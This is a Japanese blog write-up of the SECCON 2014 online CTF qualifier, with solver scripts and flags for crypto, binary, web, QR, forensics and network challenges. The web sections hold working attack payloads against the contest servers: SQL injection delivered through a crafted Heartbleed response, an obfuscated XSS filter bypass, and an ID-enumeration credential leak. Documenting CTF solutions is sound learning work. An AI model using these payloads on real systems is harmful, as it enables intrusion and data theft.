読者です 読者をやめる 読者になる 読者になる

SECCON 2014 オンライン予選(英語)Write-up

SECCON 2014 オンライン予選(英語)

2600点。全国大会に行けるのか微妙な順位だな……。

Welcome to SECCON (Start, 100)

SECCON{20141206}

Easy Cipher (Crypto, 100)

2, 8, 10, 16進数の数字が並んでいる。

A = "87 101 … 0156 33"
A = A.split()
B = ""
for a in A:
    if any(c in a for c in "abcdef"):
        b = 16
    elif a[0]=="0":
        b = 8
    elif len(a)>4:
        b = 2
    else:
        b = 10
    B += chr(int(a, b))
print B
Welcome to the SECCON 2014 online CTF.The SECCON is the biggest hacker contest in Japan.Oops, you want to know the flag, don't you?Here you are.SECCON{W31C0M 70 7H3 53CC0N ZOIA}Have fun!
SECCON{W31C0M 70 7H3 53CC0N ZOIA}

Decrypt it (Easy) (Crypto, 200)

解けなかった。

プログラムと暗号化したファイルが与えられる。暗号化は、srand(time(NULL))して各バイトとrand()%256をxor。拡張子からPNGファイルだと分かるので乱数の種を総当たり。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
    int t = time(NULL);
    while (true)
    {
        t--;
        srand(t);
        if ((0x89^(rand()%256))==0x34 &&
            (0x50^(rand()%256))==0x70 &&
            (0x4e^(rand()%256))==0xf0 &&
            (0x47^(rand()%256))==0x2d)
        {
            printf("OK\n");
            break;
        }
    }
    srand(t);
    FILE *in = fopen("ecrypt1.bin", "rb");
    FILE *out = fopen("crypt1.png", "wb");
    for (int i=0; i<0xb3a5; i++)
        fputc(fgetc(in)^(rand()%256), out);
    fclose(in);
    fclose(out);
}

この画像が出てくる。

f:id:kusano_k:20141207172658p:plain

pとqの桁数なら総当たりができるので、mod pとqに対してMを求めて、中国人剰余定理を使えば良い。

def sub(c,b,n):
    for i in range(n):
        if i*(i+b)%n==c:
            return i

def exgcd(x,y):
    r0,r1 = x,y
    a0,a1 = 1,0
    b0,b1 = 0,1
    while r1>0:
        q1 = r0/r1
        r2 = r0%r1
        a2 = a0-q1*a1
        b2 = b0-q1*b1
        r0,r1 = r1,r2
        a0,a1 = a1,a2
        b0,b1 = b1,b2
    return a0,b0,r0

def solve(N,B,C):
    p = 2
    while N%p!=0:
        p += 1
    q = N/p
    
    a1 = sub(C%p,B%p,p)
    a2 = sub(C%q,B%q,q)
    
    x,y,_ = exgcd(p, q)
    M = (a1+(a2-a1)*x*p)%N
    
    assert(M*(M+B)%N == C)
    
    return M

m1 = solve(0xB8AE199365, 0xFFEEE, 0x8D5051562B)
m2 = solve(0xB86E78C811, 0xFFFEE, 0x5FFA0AC1A2)
m3 = solve(0x7BD4071E55, 0xFEFEF, 0x6008DDF867)

print hex(m1)
print hex(m2)
print hex(m3)

答えは、M=6568C65128, M=865609C5EE, M=19A297DFE9。この後どうして良いのか分からない。SECCON{6568C65128865609C5EE19A297DFE9}は不正解だった。

Decrypt it (Hard) (Crypto, 300)

手を付けていない。

Ms.Fortune? Misfortune. : 4096-bit RSA (Crypto, 400)

手を付けていない。

Shuffle (Binary, 100)

FLAGをシャッフルして出力するプログラムらしい。0x804854bあたりがシャッフル前のフラグを設定する処理。

SECCON{Welcome to the SECCON 2014 CTF!}

Reverse it (Binary, 100)

ファイルを逆に読んで、各バイトの上位4バイトと下位4バイトを交換するとJpegになる。

def f(c):
    t = ord(c)
    return chr(t>>4|t<<4&0xf0)
x = open("Reverseit","rb").read()
open("ans.jpg","wb").write("".join(map(f, x[::-1])))
SECCON{6in_tex7}

Let's disassemble (Binary, 200)

解けなかった。

指定されたポートに繋ぐと、16進数が出題される。x86ではないらしい。

Advanced RISC Machine (Exploit, 200)

手を付けていない。

ROP: Impossible (Exploit, 500)

手を付けていない。

Holy shellcode (Exploit, 400)

手を付けていない。

Japanese super micro-controller (Exploit, 500)

手を付けていない。

jspuzzle (Web, 100)

alertするJavaScriptになるように、穴埋めする。

({"function" :function(){
    this[ "null" ] = (new Function( "return" + "/*^_^*/" + "this" ))();
    var pattern = "^[w]$";
    var r = new RegExp( pattern );
    this[ r[ "exec" ]( pattern ) ][ "alert" ]( 1 );
}})[ "Function"[ "toLowerCase" ]() ]();

変数に設定してあとから読み出すところが2箇所あるけど、同じ単語を2回は使えないので何とかする必要がある。

REA-JUU WATCH (Web, 200)

ブラウザ上で選択肢を選んでいく。最後に点数をhttp://reajuu.pwn.seccon.jp/users/chk/:idからJSONで取得している。http://reajuu.pwn.seccon.jp/users/chk/1にアクセスすると、

{"username":"rea-juu","password":"way_t0_f1ag","point":99999}

が出てくるので、これでログイン。

SECCON{REA_JUU_Ji8A_NYAN}

Bleeding "Heartbleed" Test Web (Web, 300)

Hertbleedのスキャナーが置いてある。試験結果はデータベースに保存するらしい。

16 03 02 00 01 0e 18 03 02 00 ff 61 61 61 61 61
61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
61 61 …

こんなファイルを用意して、

nc -l 1234 < attack.bin

とncで待ち受けて、スキャナーで自分のIPアドレスとポートを指定すると、スキャナーにaaa…と表示される。試しに'を含めるとエラーになる。ソースコード中に

<!-- DEBUG: INSERT OK. TIME=1417868674 -->

という行がある。スキャン結果の保存時は問題が無いけど、この時刻の取得時にSQLインジェクションが可能らしい。SQLiteなのになぜか--コメントアウトが使えなくて、DBエンジンが何なのか迷った。

aaa' union SELECT group_concat(sql) from sqlite_master where 'a'!='aaa…

を送ると、

<!-- DEBUG: INSERT OK. TIME=CREATE TABLE results ( time, host, result ),CREATE TABLE ssFLGss ( flag ),CREATE TABLE ttDMYtt ( dummy ) -->
aaa' union select flag from ssFLGss where 'a'!='aaa…

を送ると、

<!-- DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} -->
SECCON{IknewIt!SQLiteAgain!!!}

Binary Karuta (Web, 400)

手を付けていない。

XSS Bonsai (aka. Hakoniwa XSS Reloaded) (Web, 500)

f:id:kusano_k:20141207175005p:plain

SECCONで良く出ている、箱庭XSS。落ちたり、フラグが文字化けしたり散々だったけど、途中で修正版が配布された。

alert('XSS')を実行すると次に進める。一度使った単語は使えなくなる。過去のWrite-upを参考に中のIEを 11にすると、文字列中から文字を取り出せるようになる。(1234)["constructor"]["constructor"]("alert('XSS')")()を実行すれば良く、文字列をランダムな文字列から組み立てれば、制限を迂回できる。最初のほうは一工夫必要だけど、途中からはそのまま文字列が書き出されるので、イベントハンドラを色々使っていくだけ。これが役に立った。ありがとうございます。最後は&\[も使えなくなる。修正版でもエラーは出たけど、「続行」で問題無かった。ondragはなぜか落ちるので使えない。

https://gist.github.com/kusano/b68995e9725e10b6d7cd

色々試している途中に不思議な挙動があった。

x3caxui/\x6fnmouseenter=$=~[];$={___:++$,$$$$:(![]+'')[$],__$:++$,$_$_:(![]+'')[$],_$_:++$,$_$$:({}+'')[$],$$_$:($[$]+'')[$],_$$:++$,$$$_:(!''+'')[$],$__:++$,$_$:++$,$$__:({}+'')[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+'')[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+'')[$.__$])+((!$)+'')[$._$$]+($.__=$.$_[$.$$_])+($.$=(!''+'')[$.__$])+($._=(!''+'')[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!''+'')[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+'\''+$.$_$_+(![]+'')[$._$_]+$.$$$_+'\\'+$.__$+$.$$_+$._$_+$.__+'(/\\'+$.

を投稿すると、下のソースの部分がリンクのようになる。

f:id:kusano_k:20141207193657p:plain

↑の先頭のxを消すと、ハイライトされなくなる。

f:id:kusano_k:20141207193800p:plain

3まで消すと元通り。

SECCON{8e607c8dfce7bb248099wfe9a5ed99} (200点)
SECCON{1a93W8efc707eeecebc5bba619eb}

QR (Easy) (QR, 200)

QRコードがホットケーキに焼かれて、半分食べられている(;・∀・) 

これを使うだけだった。便利なツールだ。

?????????????????x    xxxxxxx
????????????????? xxx x     x
?????????????????x xx x xxx x
????????????????? x   x xxx x
?????????????????xx x x xxx x
????????????????? x x x     x
????????????????? x x xxxxxxx
????????????????? x x        
??????????????????x xx xxxxx 
?????????????????x x x x    x
???????????????????x x  xxxx 
???????????????????    xxxxxx
?????????????????? x   xxx   
??????????????????  x xx x x 
??????????????????   xxxxxxx 
??????????????????  xx   x x 
??????????????????  xx x  x x
???????????????????xxx   x   
??????????????????? x   x x x
??????????????????   x  x  xx
?????????????????? xxxxxx xxx
??????????????????  x   x   x
???????????????????xx x x x  
???????????????????xx   x    
???????????????????xxxxxx x x
?????????????????? x x x xx  
??????????????????xxxxx   xxx
???????????????????x   xx x x
???????????????????xx xxxx xx

形式情報が読めないので、適当に試してみる。

QR (Easy)>sqrd.py -e 2 -m 1 < qr.txt
SECCON;PSwIQ9d9GjKTdD8H}

読み間違ったか文字化けしている。フラグ本体じゃなくて良かった。

SECCON{PSwIQ9d9GjKTdD8H}

SECCON Wars: The Flag Awakens (QR, 300)

曲の権利は大丈夫なんですかね?

大丈夫らしい。

https://support.google.com/youtube/answer/3376882?hl=ja

良く見ると、後半のSECCONのロゴが出てくるところで、QRコードが流れている。aviutlで連番BMPで出力して、次のスクリプトで下1行を貼り合わせた。

import Image

w, h, n = 320, 240, 1199

c = Image.new("RGB", (w,n))
for i in range(n):
    print i
    t = Image.open("bmp\\wars_%04d.bmp"%i)
    t = t.crop((0, h-2, w-1, h-1))
    c.paste(t, (0, i))
c.save("qr.png")

f:id:kusano_k:20141207180939p:plain

あとは画像処理ソフトで、適当に縦に伸ばして白黒にした。

SECCON{M4Y 7H3 F0RC3 83 W17H U}

BBQR (QR, 400)

解けなかった。

今度は前半部分が消えている。リードソロモンで復号するには、4バイト足りない。

Get the key.txt (Forensics, 100)

最初は解けなくて放置していたけど、解けている人が大勢いるのでもう一度取りかかったら簡単だった。

ext2のイメージ。key.txtを開いて見ると、gzip圧縮されたファイルで、中身はkey60.txt。grepすると382-1の中身がkey.txtらしいので展開。

SECCON{@]NL7n+-s75FrET]vU=7Z}

Read it (Forensics, 300)

解けなかった。

fileコマンドによるとWordPerfectと出てきたので、500円出してAndroid版のビュワーを買ったけど読めなかった(´・ω・`)

UnknownFS (Forensics, 400)

誰も解けていない。

Confused analyte (Forensics, 500)

解けなかった。

volatilityがどうこうと書いてあるので、VMで実行して、volatilityに掛けようとしたけど、シグネチャが手に入らず終了。volatility、Windows 10のメモリは解析してくれなくて嵌まった。

Choose the number (Programming, 100)

与えられた数字列から最小や最大の数字を返すだけ。

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("number.quals.seccon.jp", 31337))

while True:
    t =  s.recv(10000)
    print t
    if "Congratulations" in t:
        for _ in range(10):
            print s.recv(10000)
    t = t.split("\n")
    f = min if "min" in t[1] else max
    ans = f(map(int, t[0].split(", ")))
    print "ans:",ans
    s.send(str(ans)+"\n")
The flag is SECCON{Programming is so fun!}

The Golden Gate (Programming, 400)

解けなかった。エンコーダーの写真と暗号文が与えられる。NANDを使ってXORを作っている。

def encrypt2(input):
    i0 =     input[0]
    i1 = not input[1]
    i2 =     input[2]
    i3 = not input[3]
    i4 =     input[4]
    i5 =     input[5]
    i6 = not input[6]
    i7 = not input[7]

    c1 = i0^i2
    c2 = i5^i6
    c3 = i4^i6
    c4 = 1^i5
    c5 = i1^i6
    c6 = i3^c2
    c7 = i2^c3
    c8 = c1^c2
    c9 = c2^c4
    c10 = i7^c1
    
    o0 = c6
    o1 = c3
    o2 = c7
    o3 = c5
    o4 = c8
    o5 = c4
    o6 = c9
    o7 = c10
    
    return (o0, o1, o2, o3, o4, o5, o6, o7)

スイッチを下にして裏側から見て、スイッチが右側から、i0, i1…。LEDも右から、o1, o2…。こういう処理だと思うのだけど、デコードできない……。

問題終了後にヒントが出ていた。

LEDの点灯・消灯が逆だったorz

def nand(a, b):
    return not (a and b)

def encode(input):
    i0 = input[0]
    i1 = input[1]^1
    i2 = input[2]
    i3 = input[3]^1
    i4 = input[4]
    i5 = input[5]
    i6 = input[6]^1
    i7 = input[7]^1

    c1 = i0^i2
    c2 = i5^i6
    c3 = i4^i6
    c4 = 1^i5
    c5 = i1^i6
    c6 = i3^c2
    c7 = i2^c3
    c8 = c1^c2
    c9 = c2^c4
    c10 = i7^c1
    
    o0 = c6^1
    o1 = c3^1
    o2 = c7^1
    o3 = c5^1
    o4 = c8^1
    o5 = c4^1
    o6 = c9^1
    o7 = c10^1
    
    return (o0, o1, o2, o3, o4, o5, o6, o7)

T = []
for p in range(256):
    c = encode([p>>i&1 for i in range(8)[::-1]])[::-1]
    T += [sum(int(c[i])<<i for i in range(8))]

C = "BQDykmgZ0I6SaQnq4o/iEONudetXdPJdpl1UVSlU69oZOtvqnHfinOpcEfIjXy9okkVpsuw2kpKS=="
C = C.decode("base64")

P = "".join(chr(T.index(ord(c))) for c in C)

print repr(P)
open("answer.gz", "wb").write(P)

gzipで解凍。

The flag is SECCON{Hlvd0toiXgloBhTM}

Get the key (Network, 10100)

pcapファイルを見てみると、BASIC認証のページにアクセスしている。AuthorizationヘッダをBase64デコードするだけ。seccon2014:YourBattleField

SECCON{Basic_NW_Challenge_Done!}

Get from curious "FTP" server (Network, 300)

FTPサーバー。良く分からないけど、ACCTコマンドでファイル一覧が取れた。

Get from curious FTP server>nc ftpsv.quals.seccon.jp 21
220 (vsFTPd 2.3.5(SECCON Custom))
USER anonymous
331 Please specify the password.
PASS hoge
230 Login successful.
PASV
227 Entering Passive Mode (133,242,224,21,133,159).
ACCT
150 Here comes the directory listing.
226 Directory send OK.
Get from curious FTP server>nc ftpsv.quals.seccon.jp 21
220 (vsFTPd 2.3.5(SECCON Custom))
USER anonymous
331 Please specify the password.
PASS hoge
230 Login successful.
PASV
227 Entering Passive Mode (133,242,224,21,177,125).
RETR key_is_in_this_file_afjoirefjort94dv7u.txt
150 Opening BINARY mode data connection for key_is_in_this_file_afjoirefjort94dv
7u.txt (38 bytes).
226 Transfer complete.
QUIT
221 Goodbye.

データ側はこんな感じ。

Get from curious FTP server>nc 133.242.224.2
1 34207
-rw-r--r--    1 0        0              38 Nov 29 04:43 key_is_in_this_file_afjoirefjort94dv7u.txt
Get from curious FTP server>nc 133.242.224.21 45437
SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}
SECCON{S0m3+im3_Pr0t0c0l_t411_4_1i3.}

version2 (Network, 200)

解けなかった。

HTTP2?